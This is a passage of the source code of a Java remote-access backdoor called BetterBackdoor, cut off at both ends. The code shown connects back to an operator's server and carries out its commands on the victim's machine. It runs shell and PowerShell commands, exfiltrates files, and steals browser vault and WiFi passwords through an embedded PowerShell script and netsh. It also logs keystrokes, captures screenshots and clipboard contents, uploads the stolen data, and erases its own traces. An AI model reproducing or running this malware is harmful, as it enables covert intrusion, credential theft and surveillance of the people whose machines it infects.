"@exit\n" + ") else (\ncall:delvbs\n)\ngoto:eof"); out.flush(); out.close(); } /** * Appends a new file with name {@code filename} and contents * {@code fileContents} into existing jar file with name {@code jarFile}. * * @param jarFile name of jar file to append * @param filename name of new file to append in jar * @param fileContents contents of new file to append in jar * @throws IOException */ private static void appendJar(String jarFile, String filename, String fileContents) throws IOException { Map env = new HashMap<>(); env.put("create", "true"); try (FileSystem fileSystem = FileSystems.newFileSystem(URI.create("jar:" + Paths.get(jarFile).toUri()), env)) { try (Writer writer = Files.newBufferedWriter(fileSystem.getPath(filename), StandardCharsets.UTF_8, StandardOpenOption.CREATE)) { writer.write(fileContents); } } } } ================================================ FILE: src/main/java/dev/thatcherclough/betterbackdoor/backdoor/Backdoor.java ================================================ package dev.thatcherclough.betterbackdoor.backdoor; import dev.thatcherclough.betterbackdoor.backend.Utils; import java.io.*; import java.net.Socket; import java.util.Scanner; public class Backdoor { public static String ip; public static String key; private static Socket socket; private static ObjectInputStream in; public static ObjectOutputStream out; public static String gatheredDir = System.getProperty("user.home") + "\\AppData\\Gathered\\"; /** * Constructs and starts a new Backdoor. * * @param args command line arguments */ public static void main(String[] args) { Backdoor backdoor = new Backdoor(); backdoor.start(); } /** * Constructs a new Backdoor. *

* Uses {@link #readFromJar(String)} to get the contents of "info", a text file * inside the jar file this class will be running from. This file contains the * IP address of the server to be used to control the backdoor, and possibly an encryption key. * Sets {@link #ip} to this IP address. Creates directory {@code gatheredDir}. */ private Backdoor() { try { String contents = readFromJar("/info"); if (contents.contains("-")) { ip = contents.substring(0, contents.indexOf("-")); key = contents.substring(contents.indexOf("-") + 1); } else ip = contents; new File(gatheredDir).mkdir(); } catch (Exception e) { System.exit(0); } } /** * Starts backdoor. *

* Attempts to connect to the server with the ip address {@link #ip} on port * 1025. Once connected, starts a loop that continuously gets commands from the * server and handles commands with * {@link HandleCommand#handle(String command)}. */ private void start() { try { while (true) try { socket = new Socket(ip, 1025); break; } catch (Exception e) { Thread.sleep(3000); } out = new ObjectOutputStream(socket.getOutputStream()); in = new ObjectInputStream(socket.getInputStream()); out.writeObject(Boolean.toString(key != null)); out.flush(); if (key != null) while (true) { String trueEncrypted = (String) in.readObject(); try { String trueDecrypted = Utils.decrypt(trueEncrypted, key); if (trueDecrypted.equals("true")) { out.writeObject("true"); out.flush(); break; } else throw new Exception(); } catch (Exception e) { out.writeObject("false"); out.flush(); } } while (true) { String command; String rec = (String) in.readObject(); if (key != null) command = Utils.decrypt(rec, key); else command = rec; HandleCommand.handle(command); } } catch (Exception e) { try { if (socket != null) socket.close(); if (in != null) in.close(); if (out != null) out.close(); start(); } catch (Exception e1) { System.exit(0); } } } /** * Gets the contents of the file with the name {@code filename} from inside the * jar file this class will be running from. * * @param filename name of the file to get contents of * @return contents of the file */ private String readFromJar(String filename) { StringBuilder ret = new StringBuilder(); Scanner in = new Scanner(getClass().getResourceAsStream(filename)); while (in.hasNextLine()) ret.append(in.nextLine()); in.close(); return ret.toString(); } } ================================================ FILE: src/main/java/dev/thatcherclough/betterbackdoor/backdoor/HandleCommand.java ================================================ package dev.thatcherclough.betterbackdoor.backdoor; import java.awt.Rectangle; import java.awt.Robot; import java.awt.Toolkit; import java.awt.datatransfer.DataFlavor; import java.io.File; import java.io.IOException; import java.io.PrintWriter; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.util.ArrayList; import java.util.Arrays; import java.util.Scanner; import javax.crypto.BadPaddingException; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.imageio.ImageIO; import dev.thatcherclough.betterbackdoor.backend.DuckyScripts; import dev.thatcherclough.betterbackdoor.backend.FTP; import dev.thatcherclough.betterbackdoor.backend.KeyLogger; import dev.thatcherclough.betterbackdoor.backend.Utils; import org.apache.commons.io.FileUtils; public class HandleCommand { /** * Handles command. *

* Handles command {@code command} and sets {@code send} to an appropriate * response. Uses {@link Backdoor#out} to send the response. * * @param command command given to the backdoor */ public static void handle(String command) throws IOException, IllegalBlockSizeException, InvalidKeyException, BadPaddingException, NoSuchAlgorithmException, NoSuchPaddingException { StringBuilder send = new StringBuilder(); if (command.equals("help")) send = new StringBuilder("[cmd] Open a command prompt shell\n[ps] Run a PowerShell script\n[ds] Run a DuckyScript\n" + "[exfiles] Exfiltarte files based on extension\n[expass] Exfiltrate Microsoft Edge and WiFi passwords\n" + "[filesend] Send a file to victim's computer\n[filerec] Receive a file from victim's computer\n" + "[keylog] Start a KeyLogger on victim's computer\n[ss] Get a screenshot of vitim's computer\n" + "[cb] Get text currently copied to victim's clipboard\n[cat] Get contents of a file on victim's computer\n" + "[zip] Compress a directory to a ZIP file\n[unzip] Decompress a ZIP file\n" + "[remove] Remove backdoor and all backdoor files from victim's computer\n[exit] Exit"); else if (command.equals("current-dir")) send = new StringBuilder(System.getProperty("user.dir")); else if (command.equals("current-cmd-dir")) send = new StringBuilder(Utils.currentCMDDirectory); else if (command.startsWith("cmd")) send = new StringBuilder(Utils.runCommand(command.substring(4), true)); else if (command.startsWith("ps") || command.startsWith("ds")) { File file = new File(command.substring(3)); try { if (command.startsWith("ps") && file.exists()) send = new StringBuilder(Utils.runPSScript(command.substring(3))); else if (command.startsWith("ds") && file.exists() && DuckyScripts.run(command.substring(3))) send = new StringBuilder("DuckyScript successfully executed"); else throw new Exception(); } catch (Exception e) { send = new StringBuilder("An error occurred when trying to execute script"); if (e.getMessage() != null) send.append(":\n").append(e.getMessage()); } finally { try { FileUtils.forceDelete(file); } catch (Exception ignored) { } } } else if (command.startsWith("exfiles")) { File exfiltratedFiles = new File(Backdoor.gatheredDir + "ExfiltratedFiles"); try { Utils.exfilFiles(command.substring(command.indexOf(" "), command.indexOf("*")), new ArrayList<>(Arrays.asList(command.substring(command.indexOf("*") + 1).split(",")))); Utils.zipDir(exfiltratedFiles.getAbsolutePath()); FTP.backdoor(exfiltratedFiles.getAbsolutePath() + ".zip", "send", Backdoor.ip); waitForSocketTransfer(); send = new StringBuilder("Files exfiltrated"); } catch (Exception e) { send = new StringBuilder("An error occurred when trying to exfiltrate files"); if (e.getMessage() != null) send.append(":\n").append(e.getMessage()); } finally { try { FileUtils.forceDelete(exfiltratedFiles); FileUtils.forceDelete(new File(exfiltratedFiles.getAbsolutePath() + ".zip")); } catch (Exception ignored) { } } } else if (command.equals("expass")) { File exfiltratedPasswords = new File(Backdoor.gatheredDir + "ExfiltratedPasswords"); try { if (!exfiltratedPasswords.mkdir()) throw new Exception("Could not create directory"); File exfilBrowserCredsScript = new File( exfiltratedPasswords.getAbsolutePath() + File.separator + "ExfilBrowserCreds.ps1"); PrintWriter out = new PrintWriter(exfilBrowserCredsScript); out.println("$filename=$PSScriptRoot+\"\\BrowserPasswords.txt\"\n" + "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]\n" + "$creds = (New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll()\n" + "foreach ($c in $creds) {$c.RetrievePassword()}\n" + "$creds | Format-List -Property Resource,UserName,Password | Out-File $filename\n" + "exit"); out.flush(); out.close(); Utils.runPSScript(exfilBrowserCredsScript.getAbsolutePath()); Utils.runCommand("netsh wlan export profile key=clear folder=" + exfiltratedPasswords.getAbsolutePath(), false); FileUtils.forceDelete(exfilBrowserCredsScript); Utils.zipDir(exfiltratedPasswords.getAbsolutePath()); FTP.backdoor(exfiltratedPasswords.getAbsolutePath() + ".zip", "send", Backdoor.ip); waitForSocketTransfer(); send = new StringBuilder("Passwords exfiltrated"); } catch (Exception e) { send = new StringBuilder("An error occurred when trying to exfiltrate passwords"); if (e.getMessage() != null) send.append(":\n").append(e.getMessage()); } finally { try { FileUtils.forceDelete(exfiltratedPasswords); FileUtils.forceDelete(new File(exfiltratedPasswords.getAbsolutePath() + ".zip")); } catch (Exception ignored) { } } } else if (command.startsWith("filetype")) { File file = new File(command.substring(9)); if (file.isFile()) send = new StringBuilder("file"); else if (file.isDirectory()) send = new StringBuilder("directory"); else send = new StringBuilder("not real"); } else if (command.startsWith("filesend")) { try { FTP.backdoor(command.substring(9), "rec", Backdoor.ip); waitForSocketTransfer(); send = new StringBuilder("File sent"); } catch (Exception e) { send = new StringBuilder("An error occurred when trying to send file"); if (e.getMessage() != null) send.append(":\n").append(e.getMessage()); } } else if (command.startsWith("filerec")) { File file = new File(command.substring(8)); try { if (file.isFile()) FTP.backdoor(file.getAbsolutePath(), "send", Backdoor.ip); else if (file.isDirectory()) { Utils.zipDir(file.getAbsolutePath()); FTP.backdoor(file.getAbsolutePath() + ".zip", "send", Backdoor.ip); } waitForSocketTransfer(); send = new StringBuilder("File received"); } catch (Exception e) { send = new StringBuilder("An error occurred when trying to receive file"); if (e.getMessage() != null) send.append(":\n").append(e.getMessage()); } finally { try { if (file.isDirectory()) FileUtils.forceDelete(new File(file.getAbsolutePath() + ".zip")); } catch (Exception ignored) { } } } else if (command.startsWith("keylog")) { Thread keyLogger = new Thread(() -> KeyLogger.start(command.substring(7))); keyLogger.start(); send = new StringBuilder("Keys are being logged to '" + command.substring(7) + "\\keys.log' on victim's computer"); } else if (command.equals("ss")) { File screenshot = new File(Backdoor.gatheredDir + "screenshot.png"); try { ImageIO.write( new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize())), "png", screenshot); FTP.backdoor(screenshot.getAbsolutePath(), "send", Backdoor.ip); waitForSocketTransfer(); send = new StringBuilder("Screenshot received"); } catch (Exception e) { send = new StringBuilder("An error occurred when trying to receive screenshot"); if (e.getMessage() != null) send.append(":\n").append(e.getMessage()); } finally { try { FileUtils.forceDelete(screenshot); } catch (IOException ignored) { } } } else if (command.equals("cb")) try { String clipBoard = (String) Toolkit.getDefaultToolkit().getSystemClipboard() .getData(DataFlavor.stringFlavor); if (clipBoard.isEmpty()) send = new StringBuilder("Nothing copied to victim's clipboard"); else send = new StringBuilder("Victim's clipboard:\n" + clipBoard); } catch (Exception e) { send = new StringBuilder("An error occurred when trying to get victim's clipboard"); if (e.getMessage() != null) send.append(":\n").append(e.getMessage()); } else if (command.startsWith("cat")) try { Scanner in = new Scanner(new File(command.substring(4))); while (in.hasNextLine()) send.append(in.nextLine()).append("\n"); in.close(); } catch (Exception e) { send = new StringBuilder("An error occurred when trying to get file"); if (e.getMessage() != null) send.append(":\n").append(e.getMessage()); } else if (command.startsWith("zip")) try { File dir = new File(command.substring(4)); if (!dir.isDirectory()) throw new Exception("Not a directory"); Utils.zipDir(dir.getAbsolutePath()); send = new StringBuilder("Directory compressed to '" + dir.getAbsolutePath() + ".zip'"); } catch (Exception e) { send = new StringBuilder("An error occurred when compressing directory"); if (e.getMessage() != null) send.append(":\n").append(e.getMessage()); } else if (command.startsWith("unzip")) try { String output = Utils.unzip(command.substring(6)); send = new StringBuilder("Contents of ZIP file decompressed to '" + output + "'"); } catch (Exception e) { send = new StringBuilder("An error occurred when decompressing directory"); if (e.getMessage() != null) send.append(":\n").append(e.getMessage()); } else if (command.equals("remove")) try { Runtime.getRuntime().exec("cmd /c ping localhost -n 5 > nul && cd " + System.getProperty("user.dir") + " && del /f /q run.jar run.bat && rd /s /q " + Backdoor.gatheredDir + " jre"); System.exit(0); } catch (Exception e) { send = new StringBuilder("An error occurred when trying to remove files"); if (e.getMessage() != null) send.append(":\n").append(e.getMessage()); } else if (!command.isEmpty()) send = new StringBuilder("Command not found"); if (Backdoor.key != null) Backdoor.out.writeObject(Utils.encrypt(send.toString(), Backdoor.key)); else Backdoor.out.writeObject(send.toString()); Backdoor.out.flush(); } /** * Waits for the socket file transfer to result in either a success or error. * * @throws Exception */ private static void waitForSocketTransfer() throws Exception { while (!FTP.socketTransferDone && FTP.error == null) Thread.sleep(10); if (FTP.socketTransferDone) FTP.socketTransferDone = false; if (FTP.error != null) { String error = FTP.error; FTP.error = null; throw new Exception(error); } } } ================================================ FILE: src/main/java/dev/thatcherclough/betterbackdoor/backend/DuckyScripts.java ================================================ package dev.thatcherclough.betterbackdoor.backend; import java.awt.Robot; import java.awt.event.KeyEvent; import java.io.File; import java.util.ArrayList; import java.util.Scanner; import java.util.stream.Collectors; public class DuckyScripts { private static Robot robot; private static int defaultDelay; final private static ArrayList regKeys = (ArrayList) "abcdefghijklmnopqrstuvwxyz`1234567890-=[]\\;',./ " .chars().mapToObj((i) -> (char) i).collect(Collectors.toList()); final private static ArrayList shiftKeys = (ArrayList) "ABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()_+{}|:\"<>?" .chars().mapToObj((i) -> (char) i).collect(Collectors.toList()); /** * Runs a DuckyScript. *

* Cycles though lines from the file with the name {@code filename}. If * applicable, spaces at end of each line are removed and the line is passed to * {@link #handleLine} to handle and execute it. * * @param filename name of DuckyScript to execute * @return if DuckyScript was executed successfully */ public static boolean run(String filename) { Scanner in = null; try { robot = new Robot(); in = new Scanner(new File(filename)); while (in.hasNextLine()) { String line = in.nextLine(); while (line.endsWith(" ")) line = line.substring(0, line.length() - 1); if (!line.isEmpty()) handleLine(line); } return true; } catch (Exception e) { return false; } finally { if (in != null) in.close(); } } /** * Handles and executes DuckyScript line {@code line}. *

* {@code line} is split into {@code command} and {@code args} which are then * mutated to work with {@link java.awt.Robot} {@link #robot}. * * @param line line to handle and execute * @throws InterruptedException * @throws IllegalArgumentException * @throws IllegalAccessException * @throws NoSuchFieldException * @throws SecurityException */ private static void handleLine(String line) throws InterruptedException, IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException { String command = line; String args = ""; if (line.contains(" ")) { command = line.substring(0, line.indexOf(" ")); args = line.substring(line.indexOf(" ") + 1); } if (command.equals("GUI")) command = "WINDOWS"; else if (args.equals("GUI")) args = "WINDOWS"; else if (command.equals("PAGEUP") || command.equals("PAGEDOWN")) command = command.replace("PAGE", "PAGE_"); else if (args.equals("PAGEUP") || args.equals("PAGEDOWN")) args = args.replace("PAGE", "PAGE_"); else if (command.equals("UPARROW") || command.equals("DOWNARROW") || command.equals("LEFTARROW") || command.equals("RIGHTARROW")) command = command.replace("ARROW", ""); else if (args.equals("UPARROW") || args.equals("DOWNARROW") || args.equals("LEFTARROW") || args.equals("RIGHTARROW")) args = args.replace("ARROW", ""); else if (command.equals("MENU") || command.equals("APP")) { command = "SHIFT"; args = "F10"; } else if (command.equals("CTRL")) command = "CONTROL"; else if (command.equals("CAPSLOCK")) command = "CAPS_LOCK"; else if (command.equals("NUMLOCK")) command = "NUM_LOCK"; else if (command.equals("SCROLLLOCK")) command = "SCROLL_LOCK"; else if (args.equals("ESC")) args = "ESCAPE"; else if (args.equals("BREAK")) args = "PAUSE"; if (command.equals("DEFAULT_DELAY") || command.equals("DEFAULTDELAY")) defaultDelay = Integer.parseInt(args); else if (command.equals("DELAY")) Thread.sleep(Integer.parseInt(args)); else if (command.equals("STRING")) { type(args); } else if (command.equals("WINDOWS") || command.equals("SHIFT") || command.equals("CONTROL") || command.equals("ALT")) { robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null)); if (!args.isEmpty()) { robot.keyPress(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null)); robot.keyRelease(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null)); } robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null)); } else if (!line.startsWith("REM")) { robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null)); robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null)); } Thread.sleep(defaultDelay); } /** * Uses {@link java.awt.Robot} {@link #robot} to simulate typing {@code toType}. * * @param toType String to type */ private static void type(String toType) { for (char c : toType.toCharArray()) if (regKeys.contains(c)) { robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(c)); robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(c)); } else { robot.keyPress(KeyEvent.VK_SHIFT); robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c)))); robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c)))); robot.keyRelease(KeyEvent.VK_SHIFT); } } } ================================================ FILE: src/main/java/dev/thatcherclough/betterbackdoor/backend/FTP.java ================================================ package dev.thatcherclough.betterbackdoor.backend; import java.io.File; import java.io.IOException; import java.io.RandomAccessFile; import java.net.InetSocketAddress; import java.net.SocketAddress; import java.nio.Buffer; import java.nio.ByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.ServerSocketChannel; import java.nio.channels.SocketChannel; public class FTP { public static boolean socketTransferDone = false; public static String error = null; /** * Transfers a file with client. *

* Opens {@link java.nio.channels.ServerSocketChannel} * {@code serverSocketChannel} and {@link java.nio.channels.SocketChannel} * {@code socketChannel} for transferring a file with client. If * {@code protocol} is "send", uses {@link #send} to send file with path * {@code filePath} to client. If {@code protocol} is "rec", uses {@link #rec} * to receive file with path {@code filePath} from client. * * @param filePath path of file to transfer * @param protocol if file should be sent or received */ public static void shell(String filePath, String protocol) { Thread thread = new Thread(() -> { ServerSocketChannel serverSocketChannel = null; SocketChannel socketChannel = null; try { serverSocketChannel = ServerSocketChannel.open(); serverSocketChannel.socket().bind(new InetSocketAddress(1026)); socketChannel = serverSocketChannel.accept(); if (protocol.equals("send")) send(filePath, socketChannel); else if (protocol.equals("rec")) rec(filePath, socketChannel); } catch (Exception ignored) { } finally { try { if (serverSocketChannel != null) serverSocketChannel.close(); if (socketChannel != null) socketChannel.close(); } catch (Exception ignored) { } } }); thread.start(); } /** * Transfers a file with server. *

* Opens {@link java.nio.channels.SocketChannel} {@code socketChannel} for * transferring file with server with an IP address of {@code ip}. If * {@code protocol} is "send", uses {@link #send} to send file with path * {@code filePath} to server. If {@code protocol} is "rec", uses {@link #rec} * to receive file with path {@code filePath} from server. * * @param filePath path of file to transfer * @param protocol if file should be sent or received * @param ip IP address of server to transfer file with */ public static void backdoor(String filePath, String protocol, String ip) { Thread thread = new Thread(() -> { SocketChannel socketChannel = null; try { Thread.sleep(2000); socketChannel = SocketChannel.open(); SocketAddress socketAddress = new InetSocketAddress(ip, 1026); socketChannel.connect(socketAddress); if (protocol.equals("send")) send(filePath, socketChannel); else if (protocol.equals("rec")) rec(filePath, socketChannel); socketChannel.close(); socketTransferDone = true; } catch (Exception e) { error = e.getMessage(); } finally { try { if (socketChannel != null) socketChannel.close(); } catch (Exception ignored) { } } }); thread.start(); } /** * Sends file with path {@code filePath} using {@code socketChannel} and * {@code fileChannel}. * * @param filePath path of file to send * @param socketChannel {@link java.nio.channels.SocketChannel} to use for * sending * @throws IOException */ private static void send(String filePath, SocketChannel socketChannel) throws IOException { RandomAccessFile file = new RandomAccessFile(new File(filePath), "r"); FileChannel fileChannel = file.getChannel(); ByteBuffer buffer = ByteBuffer.allocate(1024); while (fileChannel.read(buffer) > 0) { ((Buffer) buffer).flip(); socketChannel.write(buffer); ((Buffer) buffer).clear(); } file.close(); fileChannel.close(); } /** * Receives file with path {@code filePath} using {@code socketChannel} and * {@code fileChannel}. * * @param filePath path of file to receive * @param socketChannel {@link java.nio.channels.SocketChannel} to use for * receiving * @throws IOException */ private static void rec(String filePath, SocketChannel socketChannel) throws IOException { RandomAccessFile file = new RandomAccessFile(filePath, "rw"); FileChannel fileChannel = file.getChannel(); ByteBuffer buffer = ByteBuffer.allocate(1024); while (socketChannel.read(buffer) > 0) { ((Buffer) buffer).flip(); fileChannel.write(buffer); ((Buffer) buffer).clear(); } file.close(); fileChannel.close(); } } ================================================ FILE: src/main/java/dev/thatcherclough/betterbackdoor/backend/KeyLogger.java ================================================ package dev.thatcherclough.betterbackdoor.backend; import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.PrintWriter; import org.jnativehook.GlobalScreen; import org.jnativehook.keyboard.NativeKeyEvent; import org.jnativehook.keyboard.NativeKeyListener; public class KeyLogger implements NativeKeyListener { private static PrintWriter out; private boolean shift = false; /** * Starts a key logger and logs keys to {@code dir}\keys.log. * * @param dir directory to log keys to */ public static void start(String dir) { try { out = new PrintWriter(new BufferedWriter(new FileWriter(dir + File.separator + "keys.log", true))); GlobalScreen.registerNativeHook(); GlobalScreen.addNativeKeyListener(new KeyLogger()); } catch (Exception e) { if (out != null) out.close(); } } /* * @see * org.jnativehook.keyboard.NativeKeyListener#nativeKeyPressed(org.jnativehook. * keyboard.NativeKeyEvent) */ @Override public void nativeKeyPressed(NativeKeyEvent key) { String pressed = NativeKeyEvent.getKeyText(key.getKeyCode()); if (pressed.equals("Shift")) shift = true; if (key.isActionKey()) out.print("[" + pressed + "]"); else if (pressed.equals("Backspace")) out.print("[Back]"); else if (pressed.equals("Space")) out.print(" "); else if (pressed.equals("Tab")) out.print("\t"); else if (pressed.equals("Enter")) out.println(); else if (shift) { if (pressed.matches("[A-Z]")) out.print(pressed); else if (pressed.equals("1")) out.print("!"); else if (pressed.equals("2")) out.print("@"); else if (pressed.equals("3")) out.print("#"); else if (pressed.equals("4")) out.print("$"); else if (pressed.equals("5")) out.print("%"); else if (pressed.equals("6")) out.print("^"); else if (pressed.equals("7")) out.print("&"); else if (pressed.equals("8")) out.print("*"); else if (pressed.equals("9")) out.print("("); else if (pressed.equals("0")) out.print(")"); else if (pressed.equals("Minus")) out.print("_"); else if (pressed.equals("Equals")) out.print("+"); else if (pressed.equals("Open Bracket")) out.print("{"); else if (pressed.equals("Close Bracket")) out.print("}"); else if (pressed.equals("Back Slash")) out.print("|"); else if (pressed.equals("Semicolon")) out.print(":"); else if (pressed.equals("Quote")) out.print("\""); else if (pressed.equals("Comma")) out.print("<"); else if (pressed.equals("Period")) out.print(">"); else if (pressed.equals("Dead Acute")) out.print("?"); else if (pressed.equals("Back Quote")) out.print("~"); } else { if (pressed.matches("[a-zA-Z0-9]")) out.print(pressed.toLowerCase()); else if (pressed.equals("Minus")) out.print("-"); else if (pressed.equals("Equals")) out.print("="); else if (pressed.equals("Open Bracket")) out.print("["); else if (pressed.equals("Close Bracket")) out.print("]"); else if (pressed.equals("Back Slash")) out.print("\\"); else if (pressed.equals("Semicolon")) out.print(";"); else if (pressed.equals("Quote")) out.print("'"); else if (pressed.equals("Comma")) out.print(","); else if (pressed.equals("Period")) out.print("."); else if (pressed.equals("Dead Acute")) out.print("/"); else if (pressed.equals("Back Quote")) out.print("`"); } out.flush(); } /* * @see * org.jnativehook.keyboard.NativeKeyListener#nativeKeyReleased(org.jnativehook. * keyboard.NativeKeyEvent) */ @Override public void nativeKeyReleased(NativeKeyEvent key) { if (NativeKeyEvent.getKeyText(key.getKeyCode()).equals("Shift")) shift = false; } /* * @see * org.jnativehook.keyboard.NativeKeyListener#nativeKeyTyped(org.jnativehook. * keyboard.NativeKeyEvent) */ @Override public void nativeKeyTyped(NativeKeyEvent key) { } } ================================================ FILE: src/main/java/dev/thatcherclough/betterbackdoor/backend/Utils.java ================================================ package dev.thatcherclough.betterbackdoor.backend; import java.io.*; import java.net.Inet4Address; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.URL; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.util.*; import java.util.zip.ZipEntry; import java.util.zip.ZipFile; import java.util.zip.ZipOutputStream; import dev.thatcherclough.betterbackdoor.backdoor.Backdoor; import org.apache.commons.io.FileUtils; import org.apache.commons.io.IOUtils; import javax.crypto.*; import javax.crypto.spec.SecretKeySpec; public class Utils { public static String currentCMDDirectory = System.getProperty("user.dir"); /** * Runs command {@code command} in the current machine's command prompt and * returns response. If {@code dynamicWorkingDirectory} is set to true, * whenever the current directory changes, {@code currentCMDDirectory} is updated accordingly. * * @param command command to run * @param dynamicWorkingDirectory if {@code currentCMDDirectory} should be updated * @return response from running command */ public static String runCommand(String command, boolean dynamicWorkingDirectory) { StringBuilder resp = new StringBuilder(); BufferedReader bufferedReader = null; try { ProcessBuilder builder; if (dynamicWorkingDirectory) { builder = new ProcessBuilder("cmd.exe", "/c", command + " && echo current CMD path: && cd"); builder.directory(new File(currentCMDDirectory)); } else builder = new ProcessBuilder("cmd.exe", "/c", command); builder.redirectErrorStream(true); bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); while (true) { String line = bufferedReader.readLine(); if (line == null) { while (resp.toString().endsWith("\n")) resp = new StringBuilder(resp.substring(0, resp.length() - 1)); break; } if (dynamicWorkingDirectory && line.startsWith("current CMD path:")) currentCMDDirectory = bufferedReader.readLine(); else resp.append(line).append("\n"); } if (resp.toString().length() == 0) return "Command did not produce a response"; else return resp.toString(); } catch (Exception e) { resp = new StringBuilder("An error occurred when trying to run command"); if (e.getMessage() != null) resp.append(":\n").append(e.getMessage()); return resp.toString(); } finally { try { if (bufferedReader != null) bufferedReader.close(); } catch (Exception ignored) { } } } /** * Uses {@link #runCommand(String, boolean)} to run the PowerShell script with the name * {@code filename}. * * @param filename name of script to run * @return response from running script */ public static String runPSScript(String filename) { return runCommand("Powershell.exe -executionpolicy remotesigned -File " + filename, false); } /** * Copies all files that have extensions in {@code exts} from {@code root} to * {@link Backdoor#gatheredDir}\ExfiltratedFiles'. * * @param root directory to copy files from * @param exts list of extensions of files to copy * @throws IOException */ public static void exfilFiles(String root, ArrayList exts) throws IOException { new File(Backdoor.gatheredDir + "ExfiltratedFiles").mkdir(); for (String ext : exts) for (String file : new ArrayList<>( Arrays.asList(Utils.runCommand("c: && cd " + root + " && dir/b/s/a:-d *." + ext, false).split("\n")))) if (!file.equals("File Not Found")) FileUtils.copyFile(new File(file), new File( Backdoor.gatheredDir + "ExfiltratedFiles\\" + file.substring(file.lastIndexOf("\\") + 1))); } /** * Compresses directory with name {@code dir} to zip file '{@code dir}.zip'. * * @param dir name of directory to compress * @throws IOException * @throws FileNotFoundException */ public static void zipDir(String dir) throws IOException, FileNotFoundException { File dirAsFile = new File(dir); ZipOutputStream zipFile = new ZipOutputStream(new FileOutputStream(dirAsFile.getAbsolutePath() + ".zip")); dirToZip(dirAsFile, dirAsFile.getAbsolutePath(), zipFile); IOUtils.closeQuietly(zipFile); } /** * Recursively adds the contents of directory {@code rootDir} to the * ZipOutputStream {@code out}. * * @param rootDir root directory * @param sourceDir source directory * @param out ZipOutputStream * @throws IOException * @throws FileNotFoundException */ private static void dirToZip(File rootDir, String sourceDir, ZipOutputStream out) throws IOException, FileNotFoundException { for (File file : Objects.requireNonNull(new File(sourceDir).listFiles())) { String fileName = file.getName(); if (file.isDirectory()) dirToZip(rootDir, sourceDir + File.separator + fileName, out); else { ZipEntry entry = new ZipEntry( sourceDir.replace(rootDir.getParent() + File.separator, "") + "/" + fileName); out.putNextEntry(entry); FileInputStream in = new FileInputStream(sourceDir + "/" + fileName); IOUtils.copy(in, out); IOUtils.closeQuietly(in); } } } /** * Decompresses zip file with name {@code zipFileName}. * * @param zipFileName name of zip file to decompress * @return directory where contents of zip file with name {@code zipFileName} * were copied * @throws IOException */ public static String unzip(String zipFileName) throws IOException { ZipFile zipFile = new ZipFile(zipFileName); String outputDir = new File(zipFileName).getParentFile().getAbsolutePath(); Enumeration entries = zipFile.entries(); while (entries.hasMoreElements()) { ZipEntry entry = entries.nextElement(); File entryDestination = new File(outputDir, entry.getName()); if (entry.isDirectory()) entryDestination.mkdirs(); else { entryDestination.getParentFile().mkdirs(); try (InputStream in = zipFile.getInputStream(entry); OutputStream out = new FileOutputStream(entryDestination)) { IOUtils.copy(in, out); } } } zipFile.close(); return outputDir; } /** * If {@code ipType} is "internal", returns the internal IP address of the * current machine. Otherwise, if {@code ipType} is "external", returns the * external IP address of the current machine. * * @param ipType type of IP address to return * @return either the internal or external IP address of the current machine * @throws IOException */ public static String getIP(String ipType) throws IOException { String ret = null; if (ipType.equals("internal")) { Enumeration majorInterfaces = NetworkInterface.getNetworkInterfaces(); while (majorInterfaces.hasMoreElements()) { NetworkInterface inter = majorInterfaces.nextElement(); for (Enumeration minorInterfaces = inter.getInetAddresses(); minorInterfaces .hasMoreElements(); ) { InetAddress add = minorInterfaces.nextElement(); if (!add.isLoopbackAddress()) if (add instanceof Inet4Address) { ret = add.getHostAddress(); break; } } } } else if (ipType.equals("external")) { URL checkIP = new URL("http://checkip.amazonaws.com"); BufferedReader in = new BufferedReader(new InputStreamReader(checkIP.openStream())); String ip = in.readLine(); in.close(); ret = ip; } return ret; } public static String encrypt(String toEncrypt, String key) throws NoSuchPaddingException, NoSuchAlgorithmException, UnsupportedEncodingException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException { byte[] toEncryptBytes = toEncrypt.getBytes("UTF8"); byte[] keyBytes = Base64.getDecoder().decode(key); SecretKey encryptionKey = new SecretKeySpec(keyBytes, 0, keyBytes.length, "AES"); Cipher cipher = Cipher.getInstance("AES"); cipher.init(Cipher.ENCRYPT_MODE, encryptionKey); byte[] cipherBytes = cipher.doFinal(toEncryptBytes); return Base64.getEncoder().encodeToString(cipherBytes); } public static String decrypt(String toDecrypt, String key) throws UnsupportedEncodingException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, InvalidKeyException { byte[] toDecryptBytes = Base64.getDecoder().decode(toDecrypt); byte[] keyBytes = Base64.getDecoder().decode(key); SecretKey encryptionKey = new SecretKeySpec(keyBytes, 0, keyBytes.length, "AES"); Cipher cipher = Cipher.getInstance("AES"); cipher.init(Cipher.DECRYPT_MODE, encryptionKey); byte[] decryptedBytes = cipher.doFinal(toDecryptBytes); return new String(decryptedBytes, "UTF8"); } } ================================================ FILE: src/main/java/dev/thatcherclough/betterbackdoor/shell/HandleCommand.java ================================================ package dev.thatcherclough.betterbackdoor.shell; import java.io.File; import java.io.IOException; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import dev.thatcherclough.betterbackdoor.BetterBackdoor; import dev.thatcherclough.betterbackdoor.backend.FTP; import 